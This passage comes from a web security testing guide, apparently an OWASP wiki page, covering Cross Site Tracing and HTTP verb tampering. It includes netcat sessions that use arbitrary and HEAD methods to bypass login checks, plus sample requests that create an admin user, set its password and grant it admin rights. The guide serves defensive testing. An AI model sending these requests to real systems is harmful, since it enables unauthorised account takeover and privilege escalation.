As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.&lt;br /&gt;
&lt;br /&gt;
There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker has two ways to successfully launch a Cross Site Tracing attack:&lt;br /&gt;
&lt;br /&gt;
# Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack&lt;br /&gt;
# Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.&lt;br /&gt;
&lt;br /&gt;
More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box Testing of HTTP method tampering ==&lt;br /&gt;
&lt;br /&gt;
Testing for HTTP method tampering is essentially the same as testing for XST. &lt;br /&gt;
&lt;br /&gt;
=== Testing for arbitrary HTTP methods ===&lt;br /&gt;
&lt;br /&gt;
Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a &amp;quot;200&amp;quot; response that is not a login page, it is possible to bypass authentication and thus authorization.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[rapidoffenseunit:~] vanderaj% nc www.example.com 80&lt;br /&gt;
JEFF / HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 18 Aug 2008 22:38:40 GMT&lt;br /&gt;
Server: Apache&lt;br /&gt;
Set-Cookie: PHPSESSID=K53QW...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If your framework or firewall or application does not support the &amp;quot;JEFF&amp;quot; method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.&lt;br /&gt;
&lt;br /&gt;
If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:&lt;br /&gt;
&lt;br /&gt;
* FOOBAR /admin/createUser.php?member=myAdmin&lt;br /&gt;
* JEFF /admin/changePw.php?member=myAdmin&amp;amp;passwd=foo123&amp;amp;confirm=foo123&lt;br /&gt;
* CATS /admin/groupEdit.php?group=Admins&amp;amp;member=myAdmin&amp;amp;action=add&lt;br /&gt;
&lt;br /&gt;
With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin.&lt;br /&gt;
&lt;br /&gt;
=== Testing for HEAD access control bypass ===&lt;br /&gt;
&lt;br /&gt;
Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a &amp;quot;200&amp;quot; response that is not a login page, it is possible to bypass authentication and thus authorization.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[rapidoffenseunit:~] vanderaj% nc www.example.com 80&lt;br /&gt;
HEAD /admin HTTP/1.1&lt;br /&gt;
Host: www.example.com&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 18 Aug 2008 22:44:11 GMT&lt;br /&gt;
Server: Apache&lt;br /&gt;
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly&lt;br /&gt;
Expires: Thu, 19 Nov 1981 08:52:00 GMT&lt;br /&gt;
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com&lt;br /&gt;
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com&lt;br /&gt;
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com&lt;br /&gt;
Content-Language: EN&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=ISO-8859-1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If you get a &amp;quot;405 Method not allowed&amp;quot; or &amp;quot;501 Method Unimplemented&amp;quot;, the application/framework/language/system/firewall is working correctly. If a &amp;quot;200&amp;quot; response code comes back, and the response contains no body, it's likely that the application has processed the request without authentication or authorization and further testing is warranted.  &lt;br /&gt;
&lt;br /&gt;
If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:&lt;br /&gt;
&lt;br /&gt;
* HEAD /admin/createUser.php?member=myAdmin&lt;br /&gt;
* HEAD /admin/changePw.php?member=myAdmin&amp;amp;passwd=foo123&amp;amp;confirm=foo123&lt;br /&gt;
* HEAD /admin/groupEdit.php?group=Admins&amp;amp;member=myAdmin&amp;amp;action=add&lt;br /&gt;
&lt;br /&gt;
With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin, all using blind request submission.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
The testing in a Gray Box scenario follows the same steps of a Black Box scenario.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 2616: âHypertext Transfer Protocol -- HTTP/1.1â &lt;br /&gt;
* RFC 2109 and RFC 2965: âHTTP State Management Mechanismâ &lt;br /&gt;
* Jeremiah Grossman: &amp;quot;Cross Site Tracing (XST)&amp;quot; - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
* Amit Klein: &amp;quot;XS(T) attack variants which can, in some cases, eliminate the need for TRACE&amp;quot; - http://www.securityfocus.com/archive/107/308433&lt;br /&gt;
* Arshan Dabirsiaghi: &amp;quot;Bypassing VBAAC with HTTP Verb Tampering&amp;quot; - http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* NetCat - http://nc110.sourceforge.net&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Shady</name></author>	</entry>

	</feed>